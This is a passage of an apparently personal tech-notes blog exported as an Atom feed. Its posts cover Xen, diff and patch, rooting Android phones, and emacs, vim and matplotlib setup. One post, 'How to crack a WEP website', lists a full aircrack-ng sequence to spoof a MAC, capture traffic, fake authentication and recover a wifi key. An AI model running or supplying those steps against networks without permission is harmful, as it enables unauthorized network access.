extras line.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-3782858519971223410?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/3782858519971223410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/06/install-xen330-on-vmware-workstation-71.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/3782858519971223410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/3782858519971223410'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/06/install-xen330-on-vmware-workstation-71.html' title='Install Xen3.3.0 on VMware workstation 7.1'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-6351252216821850174</id><published>2011-06-10T11:25:00.000-07:00</published><updated>2011-06-10T11:25:27.988-07:00</updated><title type='text'>Create and apply patch</title><content type='html'>The diff program can be used to compare two files and to make patches. A typical&lt;br /&gt; example might be &lt;br /&gt;&lt;br /&gt;diff -ruN file.old file.new &gt; file.diff&lt;br /&gt;&lt;br /&gt;If you want to apply the patch to one file, modify the diff file first few lines&lt;br /&gt; as&lt;br /&gt;--- a/frameworks/base/core/java/android/webkit/WebView.java 2011-05-31 16:41&lt;br /&gt;:46.985618991 -0400&lt;br /&gt;+++ b/frameworks/base/core/java/android/webkit/WebView.java 2011-06-10 14:09&lt;br /&gt;:28.513675152 -0400&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This command will create a diff (recursively if directories are used) that shows&lt;br /&gt;&lt;br /&gt; the changes, or "delta", between the two files.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To apply the patch created above, we can invoke &lt;br /&gt;&lt;br /&gt; patch --dry-run -p1 -i  file.diff. &lt;br /&gt;&lt;br /&gt; patch -p1 -i  file.diff. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The -p tells patch how much it should strip from the paths for the file names in&lt;br /&gt;&lt;br /&gt; the patch. -p0 means to strip nothing, or leave the path intact.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For example, supposing the file name in the patch file was&lt;br /&gt;&lt;br /&gt;             /u/howard/src/blurfl/blurfl.c&lt;br /&gt;&lt;br /&gt; setting -p0 gives the entire file name unmodified, -p1 gives&lt;br /&gt;&lt;br /&gt;             u/howard/src/blurfl/blurfl.c&lt;br /&gt;&lt;br /&gt; without the leading slash, -p4 gives&lt;br /&gt;&lt;br /&gt;             blurfl/blurfl.c&lt;br /&gt;&lt;br /&gt;and not specifying -p at all just gives you blurfl.c.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-6351252216821850174?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/6351252216821850174/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/06/create-and-apply-patch.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/6351252216821850174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/6351252216821850174'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/06/create-and-apply-patch.html' title='Create and apply patch'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-1056961699981694307</id><published>2011-04-07T09:17:00.000-07:00</published><updated>2011-04-07T09:17:59.152-07:00</updated><title type='text'>How to root Nexus S using Ubuntu</title><content type='html'>Configure udev to recognize fastboot device.&lt;br /&gt;&lt;br /&gt;vi /etc/udev/rules.d/51-android.rules &lt;br /&gt;&lt;br /&gt; SUBSYSTEMS=="usb", SYSFS{idVendor}=="18d1", MODE="0666"&lt;br /&gt; SUBSYSTEMS=="usb", SYSFS{idVendor}=="0bb4", MODE="0666"&lt;br /&gt; SUBSYSTEMS=="usb", SYSFS{idVendor}=="22b8", MODE="0666"&lt;br /&gt;&lt;br /&gt;In this case, Nexus vendor id is "18d1"&lt;br /&gt;See &lt;br /&gt;http://developer.android.com/guide/developing/device.html&lt;br /&gt;for all the vendor ids available.&lt;br /&gt;&lt;br /&gt;sudo /etc/init.d/udev  restart&lt;br /&gt;&lt;br /&gt;sudo reload udev&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sudo adb reboot bootloader&lt;br /&gt;&lt;br /&gt;choose unlock bootloader&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You must have Built Android source code to use fastboot command&lt;br /&gt;&lt;br /&gt; cd /jian/mydroid/out/host/linux-x86/bin/&lt;br /&gt; fastboot oem unlock&lt;br /&gt;&lt;br /&gt;Now back on this screen you should read&lt;br /&gt;    LOCK STATE - UNLOCKED&lt;br /&gt;&lt;br /&gt;Download the ClockworkMod recovery image,&lt;br /&gt; fastboot flash recovery recovery.img&lt;br /&gt;&lt;br /&gt;Download su-2.3.6.1-ef-signed.zip &lt;br /&gt; adb push su-2.3.6.1-ef-signed.zip /sdcard/su-2.3.6.1-ef-signed.zip&lt;br /&gt; adb reboot bootloader&lt;br /&gt;&lt;br /&gt;Select "Recovery&lt;br /&gt;&lt;br /&gt;Select "Install ZIP from sdcard" (power button to apply)&lt;br /&gt;&lt;br /&gt;Select "Choose ZIP from sdcard" (power button to apply)&lt;br /&gt;&lt;br /&gt;Select su-2.3.6.1-ef-signed.zip (power button to apply)&lt;br /&gt;&lt;br /&gt;Select "Yes - su-2.3.6.1-ef-signed.zip"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and then reboot, now you should can use &lt;br /&gt; adb shell&lt;br /&gt; su &lt;br /&gt;&lt;br /&gt;to get root permission.&lt;br /&gt;&lt;br /&gt;Reference:&lt;br /&gt; http://forum.xda-developers.com/showthread.php?t=1007782&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-1056961699981694307?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/1056961699981694307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/04/how-to-root-nexus-s-using-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/1056961699981694307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/1056961699981694307'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/04/how-to-root-nexus-s-using-ubuntu.html' title='How to root Nexus S using Ubuntu'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-5670259154668906294</id><published>2011-04-01T14:26:00.000-07:00</published><updated>2011-04-07T09:04:55.478-07:00</updated><title type='text'>How to root android Atrix 4G phone</title><content type='html'>http://forum.xda-developers.com/showthread.php?t=1016060&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Since I was using firmware 1.5.7 instead of 1.2.6,&lt;br /&gt;have to flash the SBF using RSDlite(huge img to download).&lt;br /&gt;&lt;br /&gt;After that you can use GladRoot to install SuperUser.&lt;br /&gt;(might need to do it twice on WinXp to suceed).&lt;br /&gt;And then you can upgrade the system to 1.5.2 via &lt;br /&gt;Setting -&gt;About Phone  -&gt; Upgrade phone.&lt;br /&gt;&lt;br /&gt;Motorola seems to has strict rules to not allow rooting&lt;br /&gt;of the devices.(Nexus S is quite easy to do it).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-5670259154668906294?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/5670259154668906294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/04/how-to-root-android-phone.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5670259154668906294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5670259154668906294'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/04/how-to-root-android-phone.html' title='How to root android Atrix 4G phone'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-3421659624023463428</id><published>2011-03-27T07:27:00.000-07:00</published><updated>2011-03-27T07:28:08.484-07:00</updated><title type='text'>How to crack a WEP website</title><content type='html'>#Install aircrack&lt;br /&gt;sudo apt-get install aircrack-ng&lt;br /&gt;&lt;br /&gt;Remember to use the wifi driver the aircrack websites required&lt;br /&gt;For me, I have to patch the wife driver with one line code change&lt;br /&gt;and recompile the driver.&lt;br /&gt;&lt;br /&gt;sudo airmon-ng stop mon0&lt;br /&gt;sudo ifconfig wlan0 down&lt;br /&gt;sudo macchanger -m  00:11:22:33:44:55 wlan0&lt;br /&gt;sudo ifconfig wlan0 up&lt;br /&gt;sudo airmon-ng start wlan0 &lt;br /&gt;&lt;br /&gt;#find the wep sites&lt;br /&gt;sudo airodump-ng   mon0&lt;br /&gt;&lt;br /&gt;#start dumping to files&lt;br /&gt;sudo airodump-ng -c 1 --bssid 00:14:A5:0D:96:35 -w dump mon0&lt;br /&gt;&lt;br /&gt;#tricky part fake auth&lt;br /&gt;sudo aireplay-ng -1 10  -a 00:14:A5:0D:96:35 -h 00:11:22:33:44:55 mon0&lt;br /&gt;&lt;br /&gt;#crack the password&lt;br /&gt;sudo aircrack-ng  ./dump-01.cap&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-3421659624023463428?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/3421659624023463428/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/03/how-to-crack-wep-website.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/3421659624023463428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/3421659624023463428'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/03/how-to-crack-wep-website.html' title='How to crack a WEP website'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-921907306170928755</id><published>2011-02-12T08:49:00.001-08:00</published><updated>2011-02-12T08:49:48.175-08:00</updated><title type='text'>Linux memory allocation example</title><content type='html'>A good tutorial on the anonymous pages and file cache.&lt;br /&gt;&lt;br /&gt;http://linuxdevcenter.com/pub/a/linux/2006/11/30/linux-out-of-memory.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-921907306170928755?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/921907306170928755/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/02/linux-memory-allocation-example.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/921907306170928755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/921907306170928755'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/02/linux-memory-allocation-example.html' title='Linux memory allocation example'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-5181854704911286148</id><published>2011-01-25T08:38:00.000-08:00</published><updated>2011-01-25T08:38:10.455-08:00</updated><title type='text'>Display chinese with Elinks</title><content type='html'>Elinks is a perfect tool to omit those annoying pis/image/flash.&lt;br /&gt;Best for office use. :-)&lt;br /&gt;&lt;br /&gt;But it cannot support Chinese automatically. &lt;br /&gt;Luckily there is a workaround:&lt;br /&gt;&lt;br /&gt;Change ~/.elinks/elinks.conf&lt;br /&gt;    set config.saving_style_w = 1&lt;br /&gt;    set terminal.xterm.charset = "windows-1252"&lt;br /&gt;    set terminal.xterm.colors = 0&lt;br /&gt;    set terminal.xterm.utf_8_io = 0&lt;br /&gt;    set ui.language = "System"&lt;br /&gt;    set document.codepage.assume = "windows-1252"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Restart elinks, Done!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-5181854704911286148?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/5181854704911286148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/01/display-chinese-with-elinks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5181854704911286148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5181854704911286148'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/01/display-chinese-with-elinks.html' title='Display chinese with Elinks'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-67277622543149586</id><published>2011-01-20T08:20:00.000-08:00</published><updated>2011-01-20T08:20:52.551-08:00</updated><title type='text'>emacs cscope on ubuntu</title><content type='html'>sudo apt-get install emacs emacs-goodies-el cscope cscope-el&lt;br /&gt;&lt;br /&gt;;;emacs setting&lt;br /&gt;(setq cscope-do-not-update-database t)&lt;br /&gt;(load-file "/usr/share/emacs/site-lisp/xcscope.el")&lt;br /&gt;(require 'xcscope) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;; multiple shell&lt;br /&gt;(defun my-shell (arg)&lt;br /&gt;  (interactive "p")&lt;br /&gt;  (let ((arg (or arg 1)))&lt;br /&gt;    (shell (format "*sh%d*" arg))))&lt;br /&gt;&lt;br /&gt;(global-unset-key (kbd "C-z"))&lt;br /&gt;(global-set-key (kbd "C-z 1") '(lambda () (interactive) (my-shell 1)))&lt;br /&gt;(global-set-key (kbd "C-z 2") '(lambda () (interactive) (my-shell 2)))&lt;br /&gt;(global-set-key (kbd "C-z 3") '(lambda () (interactive) (my-shell 3)))&lt;br /&gt;(global-set-key (kbd "C-z 4") '(lambda () (interactive) (my-shell 4)))&lt;br /&gt;(global-set-key (kbd "C-z 5") '(lambda () (interactive) (my-shell 5)))&lt;br /&gt;;;to solve shell ls --color problem&lt;br /&gt;(autoload 'ansi-color-for-comint-mode-on "ansi-color" nil t)&lt;br /&gt;(add-hook 'shell-mode-hook 'ansi-color-for-comint-mode-on)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;;for ubuntu install emacs-goodies-el. other systems download file color-theme.el&lt;br /&gt;;; color-theme &lt;br /&gt;;;&lt;br /&gt;(require 'color-theme) &lt;br /&gt;(color-theme-initialize)&lt;br /&gt;(color-theme-robin-hood)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;;for ubuntu install emacs-goodies-el. other systems download file tabbar.el&lt;br /&gt;;; tabbar&lt;br /&gt;;;&lt;br /&gt;(require 'tabbar) &lt;br /&gt;(tabbar-mode)&lt;br /&gt;;(global-set-key (kbd "") 'tabbar-backward-group)&lt;br /&gt;;(global-set-key (kbd "") 'tabbar-forward-group)&lt;br /&gt;(global-set-key (kbd "C-`") 'tabbar-backward) ;切换TAB的快捷键&lt;br /&gt;(global-set-key (kbd "C-&lt;tab&gt;") 'tabbar-forward)&lt;br /&gt;;(set-face-attribute 'tabbar-default-face nil :family "Tahoma") ;设置tabbar字体&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-67277622543149586?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/67277622543149586/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/01/emacs-cscope-on-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/67277622543149586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/67277622543149586'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/01/emacs-cscope-on-ubuntu.html' title='emacs cscope on ubuntu'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-8562670781630453609</id><published>2010-07-16T21:42:00.000-07:00</published><updated>2010-07-16T22:07:42.175-07:00</updated><title type='text'>matplotlib install</title><content type='html'>On Ubuntu easy:&lt;br /&gt;sudo apt-get install python-matplotlib&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://matplotlib.sourceforge.net/users/installing.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Install from source:&lt;br /&gt;sudo yum install   libpng libpng-devel  freetype-utils  zlib-devel zlib freetype freetype-devel&lt;br /&gt;&lt;br /&gt;install numpy first (either from source code or python-numpy yum install)&lt;br /&gt;&lt;br /&gt;python setup.py build&lt;br /&gt;python setup.py install&lt;br /&gt;&lt;br /&gt;-------------------------------&lt;br /&gt;install basemap&lt;br /&gt;http://trac.osgeo.org/geos/&lt;br /&gt;install osgeo from source code.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://matplotlib.sourceforge.net/faq/howto_faq.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If cannot display the figure, direct save it to file:&lt;br /&gt;&lt;br /&gt;import matplotlib.pyplot as plt&lt;br /&gt;import numpy as np&lt;br /&gt;from matplotlib.backends.backend_pdf import PdfPages&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;pp = PdfPages('multipage.pdf')&lt;br /&gt;&lt;br /&gt;....&lt;br /&gt;&lt;br /&gt;pp.savefig()&lt;br /&gt;pp.close()&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-8562670781630453609?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/8562670781630453609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2010/07/matplotlib-install.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8562670781630453609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8562670781630453609'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2010/07/matplotlib-install.html' title='matplotlib install'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-2459478767376899060</id><published>2010-06-17T20:01:00.000-07:00</published><updated>2011-01-28T11:03:08.817-08:00</updated><title type='text'>emacs advanced tips</title><content type='html'>Insert Block &lt;br /&gt;C x  + rt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Remove Block &lt;br /&gt;C x  + rk&lt;br /&gt;&lt;br /&gt;Yank Block&lt;br /&gt;C x  + ry&lt;br /&gt;&lt;br /&gt;M-y &lt;br /&gt;Immediately after C-y, this replaces the yanked part&lt;br /&gt; by the other snippets in the kill ring.&lt;br /&gt;&lt;br /&gt;Apply command on shell region:&lt;br /&gt;select region +  Alt |    + command&lt;br /&gt;&lt;br /&gt;Select Word&lt;br /&gt;M + @&lt;br /&gt;&lt;br /&gt;find and replace&lt;br /&gt;M + %     Space or Del or Ret&lt;br /&gt;&lt;br /&gt;Repeat &lt;br /&gt;C + x z&lt;br /&gt;&lt;br /&gt;Undo &lt;br /&gt;C + z&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Redo &lt;br /&gt;C+g C+z&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(define-key global-map "\C-z" 'undo)&lt;br /&gt;(define-key global-map "\M-g" 'goto-line)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bash quick reference&lt;br /&gt;&lt;br /&gt;Ctrl + U  Clears the line before the cursor position.&lt;br /&gt;Ctrl + W  Delete the word before the cursor&lt;br /&gt;Ctrl + T  Swap the last two characters before the cursor&lt;br /&gt;Esc + T  Swap the last two words before the cursor&lt;br /&gt;Alt + F  Move cursor forward one word on the current line&lt;br /&gt;Alt + B  Move cursor backward one word on the current line&lt;br /&gt;&lt;br /&gt;Tab  Auto-complete files and folder names&lt;br /&gt;Ctrl + K  Clear the line after the cursor&lt;br /&gt;Ctrl + R  Let’s you search through previously used commands&lt;br /&gt;Ctrl + A  Go to the beginning of the line you are currently typing on&lt;br /&gt;Ctrl + E  Go to the end of the line you are currently typing on&lt;br /&gt;Ctrl + L                Clears the Screen, similar to the clear command&lt;br /&gt;Ctrl + H  Same as backspace&lt;br /&gt;Ctrl + C  Kill whatever you are running&lt;br /&gt;Ctrl + D  Exit the current shell&lt;br /&gt;Ctrl + Z  Puts whatever you are running into a suspended background process. fg restores it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-2459478767376899060?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/2459478767376899060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2010/06/emacs-advanced-tips.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/2459478767376899060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/2459478767376899060'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2010/06/emacs-advanced-tips.html' title='emacs advanced tips'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-8268613462122098734</id><published>2010-05-31T18:32:00.000-07:00</published><updated>2010-05-31T18:38:37.995-07:00</updated><title type='text'>vim commands</title><content type='html'>map m w3dw$pj0&lt;br /&gt;&lt;br /&gt;b back one word&lt;br /&gt;&lt;br /&gt;cscope:&lt;br /&gt;&lt;br /&gt;0 or s: Find this C symbol&lt;br /&gt;1 or g: Find this definition&lt;br /&gt;2 or d: Find functions called by this function&lt;br /&gt;3 or c: Find functions calling this function&lt;br /&gt;4 or t: Find this text string&lt;br /&gt;6 or e: Find this egrep pattern&lt;br /&gt;7 or f: Find this file&lt;br /&gt;8 or i: Find files #including this file&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;nmap &lt;C-\&gt;s :cs find s &lt;C-R&gt;=expand("&lt;cword&gt;")&lt;cr&gt;&lt;cr&gt; &lt;br /&gt;    nmap &lt;C-\&gt;g :cs find g &lt;C-R&gt;=expand("&lt;cword&gt;")&lt;cr&gt;&lt;cr&gt; &lt;br /&gt;    nmap &lt;C-\&gt;c :cs find c &lt;C-R&gt;=expand("&lt;cword&gt;")&lt;cr&gt;&lt;cr&gt; &lt;br /&gt;    nmap &lt;C-\&gt;t :cs find t &lt;C-R&gt;=expand("&lt;cword&gt;")&lt;cr&gt;&lt;cr&gt; &lt;br /&gt;    nmap &lt;C-\&gt;e :cs find e &lt;C-R&gt;=expand("&lt;cword&gt;")&lt;cr&gt;&lt;cr&gt; &lt;br /&gt;    nmap &lt;C-\&gt;f :cs find f &lt;C-R&gt;=expand("&lt;cfile&gt;")&lt;cr&gt;&lt;cr&gt; &lt;br /&gt;    nmap &lt;C-\&gt;i :cs find i ^&lt;C-R&gt;=expand("&lt;cfile&gt;")&lt;cr&gt;$&lt;cr&gt;&lt;br /&gt;    nmap &lt;C-\&gt;d :cs find d &lt;C-R&gt;=expand("&lt;cword&gt;")&lt;cr&gt;&lt;cr&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    nmap &lt;C-@&gt;&lt;C-@&gt;s :vert scs find s &lt;C-R&gt;=expand("&lt;cword&gt;")&lt;cr&gt;&lt;cr&gt;&lt;br /&gt;    nmap &lt;C-@&gt;&lt;C-@&gt;g :vert scs find g &lt;C-R&gt;=expand("&lt;cword&gt;")&lt;cr&gt;&lt;cr&gt;&lt;br /&gt;    nmap &lt;C-@&gt;&lt;C-@&gt;c :vert scs find c &lt;C-R&gt;=expand("&lt;cword&gt;")&lt;cr&gt;&lt;cr&gt;&lt;br /&gt;    nmap &lt;C-@&gt;&lt;C-@&gt;t :vert scs find t &lt;C-R&gt;=expand("&lt;cword&gt;")&lt;cr&gt;&lt;cr&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;vi tips&lt;br /&gt;http://rayninfo.co.uk/vimtips.html&lt;br /&gt;&lt;br /&gt;Named buffer:&lt;br /&gt;It is possible to copy or delete text from any file to a named buffer, and to keep as many as 26 of those buffers around for convenience. Buffers are created using lower case single letters. Using upper c&lt;br /&gt;ase letter means append to the existing buffer. The command beginning buffer operation is " (double quotation mark). Following it is the name of the buffer and then description of the operation to be perf&lt;br /&gt;ormed:&lt;br /&gt;&lt;br /&gt;"ay}   - yank (copy) from cursor to end of paragraph into buffer "a".&lt;br /&gt;If buffer exists, overwrite it.&lt;br /&gt;"A12d  - delete 12 lines from cursor down and append it to the&lt;br /&gt;existing buffer "a".&lt;br /&gt;"ap    - take contents of buffer "a" and paste it below cursor line.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-8268613462122098734?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/8268613462122098734/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2010/05/vim-commands.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8268613462122098734'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8268613462122098734'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2010/05/vim-commands.html' title='vim commands'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-7183001906553726162</id><published>2010-03-07T11:43:00.000-08:00</published><updated>2010-03-07T11:43:58.445-08:00</updated><title type='text'>merge pdf files</title><content type='html'>#cat pdfs page 1s to new file&lt;br /&gt;cd 